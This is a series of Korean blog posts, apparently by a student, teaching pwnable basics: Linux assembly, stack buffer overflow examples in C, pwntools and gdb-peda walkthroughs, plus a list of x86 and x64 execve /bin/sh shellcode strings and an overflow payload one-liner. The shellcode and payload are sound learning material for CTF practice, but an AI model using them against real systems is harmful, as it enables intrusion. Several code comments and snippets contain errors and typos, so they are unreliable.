이번에 포스팅할 내용은 제목과 같이 리눅스환경에서 어셈블리어를 사용할건데요

Ubuntu에서 nano 에디터를 사용하여 다음과 같이 코드를 작성했습니다.

파일명은 test.s로 작성했습니다. 

section .data
	msg db "Hello world"
section .text
	global _start
    
_start:
	mov rax, 1 ; 문자열을 읽어오기 
    mov rdi, 1 ; 문자열을 출력
    mov rsi, msg ; Hello world 저장
    mov rdx, 12 ; Hello world를 출력할 수 있도록 문자열 길이를 만들어줌 
    syscall ; printf("Hello world");
    mov rax, 60 ; exit
    mov rsi, 0 
    syscall

 

우분투에서 코드작성을 하였고 64bit 운영체제라서 64bit 어셈블리로 작성했습니다.

이제 nasm 어셈블리 컴파일러를 통해서 목적 파일로 만든 후 실행을 해보도록 하겠습니다.

nasm -f elf64 -o 파일명.o 파일명.s 
ld -o 실행파일명 파일명.o

 

앞서 test.s 로 파일을 생성했기 때문에 편하게 알아볼 수 있도록 다음과 같이 하였습니다.

이렇게  컴파일을 하면 실행파일이 하나 생길겁니다.

nasm -f elf64 -o test.o test.s
ld -o test test.o

 

생성된걸 확인 할 수 있습니다.

test 실행파일 생성

이제 실행을 해보면? 

실행 후 화면

아주 멀쩡하게 실행이 잘 됩니다. 

오늘은 리눅스에서 어셈블리어로 코딩을 하는방법을 알아보았습니다.

다음 포스팅에서는 앞전에 있었던 내용들을 전부 활용해서 조금 더 어셈블리를 심화적으로 다뤄보도록 하겠습니다.

'Theory > Pwnable' 카테고리의 다른 글

찬희의 포너블 기초 Stack Overflow 2  (0) 2021.09.29
찬희의 포너블 기초 Stack Overflow 1  (0) 2021.09.29
Shellcode list  (0) 2021.09.26
Pwn tools 소개 2  (0) 2021.09.22
Pwntools 소개 1  (0) 2021.09.14

아래의 예제 코드를 살펴봅시다. 

 

#include <stdio.h>
#include <unistd.h>
int main(void) {
    char win[4];
    int size;
    char buf[24];
    
    scanf("%d", &size);
    read(0, buf, size);
    if (!strncmp(win, "ABCD", 4)){
        printf("Theori{-----------redacted---------}");
    }
}

 

위의 코드를 보면 

win이라는 변수에 4만큼의 버퍼를 할당합니다.

buf라는 변수에 24만큼의 버퍼를 할당합니다. 

그 다음 scanf 함수를 통해서 size에 값을 입력 받고나서 read함수를 통해서 값을 읽어옵니다. 

저번에 보았던 것 처럼 이것도 24만큼의 크기보다 큰 데이터를 입력해준다면 

오버플로우가 발생하는것을 볼 수 있습니다. 

 

 

또 다른 예제를 보도록 합시다.

아래의 예제코드를 한번 더 볼까요?

 

#include <stdio.h>
int main(void) {
	char buf[32] = {0, };
	read(0, buf, 31);
	sprintf(buf, "Your Input is: %s\n", buf);
	puts(buf);
}

 

이 코드를 보면 buf에 32만큼의 버퍼를 할당하고 있습니다. 

read 함수를 이용해서 buf를 읽어오고 있습니다. 

근데 여기서 sprintf 함수부분을 보면 Your Inout is : 라는 문자열이 보입니다. 

 

sprintf 함수에서 buf라는 곳에 Your Inout is : 라는 문자열이 들어갔습니다. 

(buf의 공간 에서 출력하고 있기때문이죠)

그럼 현재 32만큼의 버퍼가 들어갔는데 이 문자열의 크기를

빼주면 지금 현재 메모리 공간 크기를 알 수 있습니다.

 

32(총 buf의 버퍼크기) - 15(sprintf를 통해서 들어간 문자열의 크기)

= 17(총 남은 버퍼의 크기)  17만큼의 공간이 남아 있습니다.

그렇다면 read에서 buf의 크기를 31만큼 읽어오고 있습니다.

그럼 31byte를 다 채우게 된다면 17byte의 크기를 넘어서기 때문에 오버플로우가 발생합니다.

(정말쉽죠?)

 

 

이번에는 이렇게 고정된 크기의 버퍼보다 더 긴 데이터를 입력받아서

오버플로우가 발생 하는 것을 알아보았습니다.

 

해당주소를 참고 하였습니다.

https://dreamhack.io/lecture/curriculums/2

'Theory > Pwnable' 카테고리의 다른 글

How to Assembly code in Linux (리눅스에서 어셈블리 사용)  (0) 2023.11.06
찬희의 포너블 기초 Stack Overflow 1  (0) 2021.09.29
Shellcode list  (0) 2021.09.26
Pwn tools 소개 2  (0) 2021.09.22
Pwntools 소개 1  (0) 2021.09.14

이제 GDB 사용법 및 Pwntools 사용법을 알아보았습니다. 

그러면 이제 본격적으로 한번 포너블을 배워보도록 하겠습니다. 

 

 

Buffer Overflow? 

보통 포너블을 처음 시작할때 버퍼 오버플로우 취약점을 알아보는데요

이번에는 이 취약점을 알아보도록 합시다. 

 

C언어에서 버퍼라고 하면 지정된 크기의 메모리 공간을 의미합니다 

오버플로우는 그 의미 그대로 원래의 버퍼사이즈보다 더 큰 데이터 값을 저장해서

버퍼 즉 메모리 공간이 넘쳐서 다른 메모리 공간을 침범해버리는 취약점 입니다. 

 

일반적으로 발생하는 위치에 따라서 부르는 명칭이 조금 다릅니다.

여기서 알아볼것은 스책 오버플로우 입니다.  (당연히 스택에서 발생하는 취약점이겠죠??)

지역변수가 할당되는 스택 메모리에서 오버플로우가 발생하는 경우 입니다.

 

예제코드를 한번 보겠습니다. 

 

#include<stdio.h>

int main(void)
{
	
    char buf[16];
    gets(buf);
    
    printf("%s",buf);
    return 0;
}

 

자 여기서 buf라는 배열에 16이라는 버퍼 사이즈를 지정해주었습니다. 

그럼 gets함수를 통해서 입력을 받아오게 되는데

 

gets 함수는 사용자가 개행을 입력하기 전까지 입력했던 모든 내용을 저장하게 됩니다. 

그말은 16보다 사이즈가 크더라도 개행문자가 오지않으면 전부 저장한다는 이야기가 됩니다.

 

버퍼사이즈는 16이지만 이보다 큰 데이터의 크기를 입력해버리면

오버플로우가 발생 할 것입니다.

 

보통 길이 제한이 없는 API 함수들을 사용하거나 버퍼의 크기보다 입력받는 데이터의 크기가 

클 경우 발생하게 됩니다.

 

 

여기서 보면 Stack smashing detected 라는 문구가 나오게 됩니다.

스택영역에서 오버플로우가 일어났음을 의미합니다.  

생각했던대로 16보다 큰 사이즈를 입력하니까 오버플로우가 일어났습니다. 

gets 함수에서 버퍼의 크기를 검증하지 않았기 때문입니다.

 

이번엔 좀더 어려운 예제코드를 보도록 합시다.

 

// stack-2.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int check_auth(char *password) 
{
    int auth = 0;
    char temp[16];
    
    strncpy(temp, password, strlen(password));
    
    if(!strcmp(temp, "SECRET_PASSWORD"))
        auth = 1;
    
    return auth;
}

int main(int argc, char *argv[]) 
{
    if (argc != 2) 
    {
        printf("Usage: ./stack-1 ADMIN_PASSWORD\n");
        exit(-1);
    }
    
    if (check_auth(argv[1]))
        printf("Hello Admin!\n");
    else
        printf("Access Denied!\n");
}

 

main 함수에서 argv[1]을 함수의 인자로 전달하고 나서 return을 받아오는데

그 결과가 1이면 Hello Admin을 출력하고 0이면 Access Denied를 받아옵니다.

 

check_auth 함수를 보면 일단 auth를 0으로 초기화 합니다.

그리고나서 temp라는 배열에 16이라는 버퍼를 할당해주고 있습니다.

strcmp로 temp의 값을 password로 복사를 한다음, password의 길이를 측정합니다.

그리고 temp와 SECRET_PASSWORD와 일치하면 1을 리턴합니다. 

 

자 그럼 여기서 핵심부분은 check_auth함수라고 할 수 있습니다. 

 

strncpy(temp, password, strlen(password));

 

이 부분을 보면 temp가 복사를 할때 정해진 크기 16버퍼 만큼 복사하는것이 아닌 

인자로 전달된 password의 문자열 만큼 복사합니다. 

따라서 이것은 16보다 큰 문자열을 인자로 보내준다면 오버플로우가 날 것 입니다.

 

그리고 해당 코드를 보면 아래와 같은 코드가 있습니다.

 

if (check_auth(argv[1]))
        printf("Hello Admin!\n");

 

temp 버퍼 뒤에 auth 값이 있기 때문에 해당 값을 인위적으로 다른 값으로 바꾼다면

항상 이 코드의 값은 참이 될 것 입니다.(0이 아니기 때문에)

 

 

정상적으로 오버플로우가 발생합니다. 

이렇게 크기 검증을 하지 않은경우 오버플로우가 발생합니다. 

 

이런 경우가 1가지 있고,

다른 한가지는 해당 버퍼의 사이즈보다 큰 데이터를 입력했을때 입니다.

 

이번에는 길이나 크기를 검증하지 않은 함수로 인해서 발생하는 오버플로우를 알아보았습니다.

해당 주소를 참고 하였습니다.

 

https://dreamhack.io/lecture/curriculums/2

 

System Exploitation Fundamental

리눅스 시스템 해킹

dreamhack.io

 

'Theory > Pwnable' 카테고리의 다른 글

How to Assembly code in Linux (리눅스에서 어셈블리 사용)  (0) 2023.11.06
찬희의 포너블 기초 Stack Overflow 2  (0) 2021.09.29
Shellcode list  (0) 2021.09.26
Pwn tools 소개 2  (0) 2021.09.22
Pwntools 소개 1  (0) 2021.09.14

x32

25 Bytes Shell Code

 

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80

 

26 Bytes Shell Code

 

\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80

 

41 Bytes Shell Code

-  setreuid(geteuid(), getreuid()) 포함

 

\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80

 

48 Bytes Shell Code

  -  \x2f가 없는 쉘코드

 

\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81

 

x64

23 Bytes Shell Code

 

\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05

 

31 Bytes Shell Code

 

\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05

 

 

'Theory > Pwnable' 카테고리의 다른 글

찬희의 포너블 기초 Stack Overflow 2  (0) 2021.09.29
찬희의 포너블 기초 Stack Overflow 1  (0) 2021.09.29
Pwn tools 소개 2  (0) 2021.09.22
Pwntools 소개 1  (0) 2021.09.14
찬희의 Pwn 포너블 기초 3주차 2차시 homework2.c  (0) 2021.09.10

 

위의 소스코드를 한번 보도록 합시다

 

 

위의 코드들로 한번 pwntools를 작성해 보면 

 

 

13개의 문자까지만 출력이 되는 것을 볼 수 있는데, 

왜냐하면 우리가 p.recv(13)을 통해서 13자 까지만 받아오도록 

코드를 작성 하였기 때문입니다.

 

그러면 조금 더 응용을 해볼까요?

 

 

해당 코드를 작성을하고 파이썬 소스를 한번 만들어 봅시다. 

 

 

여기서 이렇게 작성을 해준 다음에 실행을 해보면

한줄만 나오는 것을 확인 할 수 있습니다. -> 한줄을 받아오기 때문

 

 

그렇다면 여기서 한번더 응용을 해보면 

특정 문자열이 나올때 까지 한번 출력을 받아오는 것은 가능한지 알아보겠습니다.

그렇게 하기 위해서는 당연히 파이썬의 pwntools 소스코드를 수정을 해주어야 되겠죠?

 

 

이렇게 수정을 해주면 'pwn' 이라는 문자열을 만날때 까지 출력을  하니까

그러면 hello world와 hello pwn까지 출력이 되는지 확인을 해 봅시다.

 

 

우리가 예상했던것과 마찬가지로 잘 나오는 것을 확인 할 수 있습니다.

이렇게 우리가 input과 output을 한번 알아보았습니다.

 

다음은 packing입니다.

pwntools를 이용해서 패킹과 언패킹을 진행해보도록 하겠습니다.

 

 

 

리틀엔디언 바이트 값으로 패킹이 된 것을 확인 할 수 있습니다.

그럼 이번에 반대로 해볼까요??

 

 

 

이렇게 반대로 언패킹되는것을 볼 수 있습니다.

이렇게 pwntools에 대해서 알아보았습니다

이번에는 Pwntools 소개를 한번 해볼까 합니다

왜냐하면 input, 패킹, 언패킹, 바이너리 내부 함수 주소들을 자동으로 가져오는 등의

기능을 제공하여 보다 쉽게 분석이 가능하기 때문입니다.

그럼 이걸왜 이제 소개하냐!

앞으로 진행할 exploit 도 그렇고 아래와 같이 불편하게 input을 넣지 않고 

편하게 output을 받아오기 위해서 알아둘 필요가 있다고 생각합니다.

 

(python -c "print 'A'*0x30 + 'B'*0x8 + '\xa7\x05\x40\x00\x00\x00\x00\x00'";cat)| ./binary

 

실제 워게임이나 ctf에서도 자주 사용하는 라이브러리 입니다.

 

 

위는  scoket 라이브러리 사용 코드 입니다

하지만 이것을 pwntools 라이브러리를 사용하면 훨씬 간결하게 아래와 같이 만들 수 있습니다.

 

 

간결 해진것을 볼 수 있습니다.

그럼 이제 pwntools 라이브러리를 로드 해보겠습니다.

 

 

설치방법은 아래의 링크를 참고해주시기 바랍니다.

 

https://juns0208.tistory.com/40

 

Pwntools- 설치및 사용법1

Pwntools 란? Pwntools는 말 그대로 포너블 툴 킷으로 익스플로잇을 편하게 하기 위해서 사용됩니다. 파이썬으로 작성되어 있으며 from pwn import *을 선언해서 사용할 수 있습니다. Gallopsled라는 팀에 의

juns0208.tistory.com

 

그러면 이제 local 바이너리를 연결 해보겠습니다

 

 

p = process ('./[바이너리 이름]')

 

연결이 된것을 확인 하였습니다.

그러면 이제 서버 바이너리를 연결 해보도록 하겠습니다.

 

 

p = remote('./address',port) #주소 + 포트 번호

 

연결이 된 것을 확인 할 수 있습니다.

 

그럼 여기서 연결된 서버 바이너리에 input을 넣고 output을 보겠습니다

먼저 예시 코드를 사용해서 보도록 합시다.

 

예시 코드 

 

#include <stdip.h>

int main()
{
	char arr[100];
    
    scnaf("%s",arr);
    
    printf("hello %s\n",arr);
    
    return 0;
}

 

단순히 입력을 받으면 해당 입력을 출력하는 c 소스입니다.

여기서 pwntools 라이브러리를 이용해서 input을 보내고 

그 input을 받아서 output이 나오는지 확인을 하면 됩니다.

gcc로 컴파일을 해주고 파이썬 소스코드를 제작 해봅시다.

 

from pwn import*
p = process('./a.out')
p.sendline('AAAA')
p.interactive()

 

 

정상적으로 우리가 보낸 입력값이 나오고 있는것을 볼 수 있습니다.

이번에는 output을 받아오겠습니다.

 

p = process('./a.out')
data = p.recv(13)

 

a.out이라는 바이너리가 최대 13바이트까지 받아서 data 변수에 저장을 하게 됩니다.

 

예제 코드 

 

#include<stdio.h>

int main(void)
{
	puts("hello pwnalble");
    
    return 0;
}

 

이제 무슨 코드인지는 대충 알것이라 생각하고 넘어가겠습니다.

 

Python code

 

from pwn import*

p = process('./a.out')
data = p.recv(13)
print(data)
p.interactive()

 

 

13바이트 만큼 받아서 출력이 됩니다.

 

이렇게 Pwntools를 알아보았습니다

다음 포스팅에서는 조금더 심화적으로 사용하는 방법을 알아보도록 하겠습니다.

func 의 함수를 gdb로 보겠습니다.

 

 

cmp 구문과 jle 구문 jmp 구문이 있는것으로 보아 반복문 이거나 아니면 조건문 같습니다.

하지만 +64로 jmp를 하는것을 보면 cmp로 비교를 하고 조건을 따라서 이동을 하고 있습니다.

조건문이 계속적으로 사용되고 있는것 같습니다. 

 

 

조건에 부합하면 +64로 이동하여 종효가 되고 조건이 맞지 않으면 다른 조건이 있는 구문으로 

이동을 하게 됩니다. 그래서 조건문이 여러개가 사용됬다는것을 유추 할 수 있습니다.

 

 

90을 입력하니까 A등급이 나오고 있습니다.

추측을 해보면 점수별로 등급을 알려주는 프로그램 인것 같습니다.

 

 

여기까지 func 함수를 알아보았습니다

gdb-peda를 이용해서 한번 main 함수를 봐야겠죠?

 

 

여기서 함수들이 사용이 되는것을 알 수 있는데 한번 보면 

printf 함수와 scanf함수, 다시 printf함수가 사용되는것을 볼 수 있습니다. 

(이제 자세한 설명은 생략하도록 하겠습니다.)

 

한줄 한줄 살펴봅시다. 

 

 

여기는 이제 바로 알겠죠? 스택 프롤로그 입니다. 

 

 

이렇게 rax의 값을 0으로 만들어 주고 있습니다.

 

 

그런다음 rbp-0xc라는 곳에 0이라는 값을 넣고 있습니다.

 

 

eax에 0이라는 값을 mov 해주고 있습니다.  그 후에 printf 함수를 call 하고 있네요 

한번 계속해서 실행 해보도록 하겠습니다.

 

 

하지만 printf 함수의 문자열이 출력이 될것이라고 생각했지만 결과는 아무것도 나오지 않았습니다.

왜 이렇게 되는걸까요? -> 추후에 설명하도록 하겠습니다.

scanf 함수를 call하는 +66까지 실행을 시켜보겠습니다.

 

 

정상적으로 실행되고 있습니다. 

 

 

계속 실행해보면 func함수를 호출하고 있습니다.

 

 

printf 함수를 호출하고 종료가 되는것 같습니다.

 

 

지금까지 메인함수를 보았습니다

다음 포스팅에서 func 함수를 마저 보도록 하겠습니다.

 

예정대로 func 함수를 살펴 보도록 하겠습니다.

 

 

gdb를 사용한다면 disass func라고 해도 되지만 peda를 사용하고 있기때문에 조금더 편리한

peda를 사용해서 한번 살펴보도록 합시다. peda로 확인을 하고 싶을땐 아래와 같이 입력하면 됩니다.

 

pd func //pd 함수이름

 

자 그러면 위에 처럼 어셈블리 코드가 또 나오게 되는데요

그러면 늘 했던거 처럼 breakpoint를 걸고 한 줄 한 줄 확인해 봅시다.

하지만 여기서 주의해야 할것은 우리가 늘 보던 main 함수가 아니기 때문에

break point를 main함수에 걸면 안됩니다. 그래서 또 하나의 방법인 예전에 포스팅에서

배운 숫자를 이용해서 break point를 걸어 보겠습니다.

 

 

break point를 걸었지만 실행을 해보면 메모리에 접근을 할수 없다고 나오네요 

그러면 코드가 길지는 않은거 같으니 정적으로 분석을 해야 할 것 같습니다.

 

 

당연히 맨처음에는 스택 프롤로그를 볼 수 있습니다.

 

 

다음에는 edi의 값을 rbp-0x14의 위치에 넣어주고 rbp-0x4 주소에 1이라는 값을 넣은 다음 

jmp 구문을 따라 func+58 부분으로 이동을 하게 됩니다.

 

 

+58로 이동하게 되면 cmp 구문을 사용해서 rbp-0x14의 값과 9라는 값을 비교하고 있습니다.

하지만 우리가 방금 확인한 +11 에서 rbp-0x4에는 1이라는 값을 넣어주었으니 9보다 작은 값이 될 것 입니다.

 

jle 구문을 통해서 다시 +20의 주소로 이동하는것을 볼 수 있는데, jmp도 이동이고 jle도

이동인데  그러면 두개의 차이점이 무엇인지 알아야겠죠??

 

먼저 jmp는 조건없이 무조건 점프를 하는 명령어 입니다

그러면 jmp는 무조건 해당 주소로 이동을 하겠죠? 하지만 jle는 조금 다름니다.

jle는 비교 결과 값이 '0'이거나(ZF=1), 작을 경우 해당 주소로 점프하는 명령어 입니다.

그러니까 cmp구문으로 비교했을때 9보다 작을 경우 +20으로 이동하는 것 입니다.

 

 

이제 +20 부터 다시 살펴봅시다.

edx에 rbp-0x14의 값을 넣어주고 있습니다. 그리고 eax에 rbp-0x4의 값을 넣어줍니다.

하지만 +11부분에서 우리는 rbp-0x4에 1이라는 값을 넣었기 때문에 eax의 값은 1이 됩니다.

그리고 더해준 값을 ecx에 넣게됩니다.  그 다음에 printf 함수를 호출하고 실행을 시킨다음 

add를 통해서 1씩 증가 시켜주고 있습니다.  그러다가 rbp-0x4가 9와 같아지면

이 반복되는 코드를 빠져나오는데요 반복문을 사용한거 같습니다. 

 

 

위의 실행결과로 보아서 +20의 rdx가 우리가 입력한 값이 되고

rax가 반복하는 횟수 같습니다, +26만 봐도 rdx가 앞에오는데

실행결과에서도 우리가 입력한 3이라는 값이 앞에 오기때문에 

rdx의 값은 입력한 값이고 rax의 값은 반복하는 횟수라고

추측을 할 수 있습니다. +49의 부분에서 함수를 호출하고 난 다음,

add를 통해서 eax의 값을 1씩 증가 시키고 있습니다.

그렇다는 것은 eax의 값이 1씩 증가를 하고 9와 같아지면

반복을 멈춘다는 이야기가 됩니다.

 

 

반복을 멈춘뒤에는 바로 종료가 되는것을 확인 할 수 있습니다,

 

 

정리를 해보면 main 함수안에서 scanf 함수를 이용해 값을 입력하면

입력된 값은 func 함수의 인자가 되어서  edi에 저장이 되고, eax는 반복하는

횟수를 저장하게 됩니다. func이라는 함수의 내부에서 9번동안 덧셈을 반복하고

그 결과를 출력하고 난뒤 종료가 되는것을 알 수 있습니다.

여기까지 func 함수를 알아보고 homwork.c의 프로그램을 분석해보았습니다.

 

 

이제 gdb 사용법도 알았고 그러면 이제 문제를 풀어봅시다 

사실 숙제로 내줬음 ㅋㅋㅋㅋ

그럼 해당 파일을 gdb를 이용해서 풀어봅시다 

 

 

자 근데 여기서 일반 gdb랑 조금 다른거 같죠?

그렇습니다 gdb-peda라고 하는데 설치방법은 이러합니다

 

git clone https://github.com/longld/peda.git ~/peda
echo "source ~/peda/peda.py" >> ~/.gdbinit

 

위와 같이 설치를 해주시고 gdb를 실행시키면 gdb-peda로 실행이 됩니다 

그럼 차이점이 무엇인가요??

PEDA는 Linux환경에서 동작하며 binary분석 및 Exploit을 도와주는 도구라고 보시면 됩니다.

-> peda 설명 https://go-madhat.github.io/gdb-peda/

그럼 문제의 homework.c를 보도록 합시다.

(이제 disass main은 당연히 자동으로 나와야겠죠?)

 

 

하나하나 살펴보아야 하지만 대충 확인을 해보면  +49에서 scanf함수를 이용하고 있습니다.

그러면 입력값이 들어가는것이 있다고 유추해볼 수 있습니다.

한줄씩 살펴볼까요? -> breakpoint를 걸어줍니다.

 

 

?????

우리가 봤었던 gdb화면과는 살짝 다르죠?? 

이게 바로 gdb-peda 입니다. 기존의 gdb는 레지스터 및 스택을 따로 봐야 했었지만

peda에서는 한번에 확인이 가능하죠  -> 정말 편리한 기능입니다. 

 

 

코드를 살펴보면 main함수를 확인하기 전에 위에 func함수를 볼 수 있는데

별도의 함수가 있는거 같습니다. 자 그러면 레지스터 정보를 확인 해볼까요??

 

 

프로그램을 실행했을때 아직은 큰 변화가 보이지는 않는것 같습니다.

그도 그럴게 맨처음 코드를 보면 스택프롤로그 즉 스택이 시작되는 부분이기 때문이죠

메인 함수 +8에 0x28의 값을 rax에 mov하고 있는데 해당 함수로 이동한 다음

값을 확인해 보도록 합시다.

 

 

rax값이 변경이 된것을 볼 수 있습니다. 하지만 이상태로는 식별이 힘드니

아래로 계속 실행하면서 분석을 하도록 하겠습니다.

 

 

xor eax eax를 통해서 rax 값을 0으로 초기화를 시켜주는것을 볼 수 있습니다.

eax에서 확장된 부분이 rax이니까 당연히 레지스터에서는 rax가 0이 되겠죠??

계속 실행을 시켜보겠습니다.

추측을 해보면 아까 peda 이전의 gdb에서 scanf함수를 확인을 했기때문에 입력을 하고 나면

rax값이 입력값으로 바뀔것이라고 생각할 수 있습니다.

 

 

다시 한줄을 실행시키니 rax값이 변경되었습니다. 

+30에 코드 때문이겠죠? 그러면 지금 rax값은 rbp-0xc의 값이 lea되었다라고 보면 됩니다.

그리고 다시 rax값을 rsi로 mov를 해주고 있습니다.  (rbp-0xc의 값이 rsi로 들어가고 있습니다.)

여기서 코드를 보면 다시 +44부분에서 다시 eax에 0을 넣어주고 scanf함수를 호출하네요 

 

 

scanf함수를 실행을 하고나서 조금더 실행을 시켜보면 

func 함수를 실행하고 있는것을 볼 수 있습니다. 

 

 

코드를 한줄 더 실행해보면 scanf 함수를 호출해서 입력을 받는것을 확인 할 수가 있습니다.
그래서 3을 입력을 해주면??  rax에 3이 들어가지 않을까요?

 

 

여기서 코드를 살펴보면 rbp-0xc의 값을 eax로 mov를 해주고 있네요 

그러면 이 함수를 실행하면 rax에 3이라는 값이 저장이 될것 같아 보입니다.

왜냐하면 3을 입력을 했고 그럼 3이라는 값이 rax로 들어가야하는데

코드를 보면 해당 주소의 값이 eax로 들어가서 입니다.

자 그럼 확인을 해볼까요?

 

 

역시나 rax에 우리가 입력한 3이라는 값이 들어가 있습니다.

그리고 다음 코드는 func라는 함수를 호출하고 있네요

한번 실행을 시켜보도록 하겠습니다.

 

 

실행결과가 나오고 있네요 그러면 func라는 함수는 실행결과로 보아

계속해서 덧셈을 반복해주고 있는거 같아 보입니다. (func라는 함수도 한번 봐야할것 같습니다.)

일단 main함수를 계속해서 보겠습니다.

 

 

+64부분에서 보면 eax값에 0을 넣어줌으로 이전에 실행했던 func함수를 실행하고

다시 원래대로 돌아가는 것을 볼 수 있는데요 아마도 함수를 실행하고

다시 원래의 상태로 돌려준 후 종료가 되는것 같습니다. -> 스택 에필로그 같아 보입니다.

 

 

생각대로 je 구문을 통해서 +89가 있는곳으로 점프(이동) 하게 되는데, 그곳에는 leave 명령어가 있습니다.

leave는 현재까지 썻던 메모리 스택을 깔끔히 비우고, 자신을 호출했던

메모리의 베이스 주소를 ebp에 다시 채우는 명령어 입니다.

-> 즉, 이제 까지 사용했던 자원들을 반납을 하게 되는것이죠 

정상적으로 종료되는 단계라고 볼 수 있습니다.

당연히 그다음 구문은 ret가 있어서 종료가 되는것을 확인 할 수 있습니다. (스택 에필로그)

 

여기까지 main 함수를 한번 gdb-peda를 사용해서 분석해보았습니다.

다음에는 func 함수를 한번 보도록 하겠습니다.

 

확실히 gdb-peda가 사용하는 측면에 있어서 편하긴 하네요 

그럼 20000~

+ Recent posts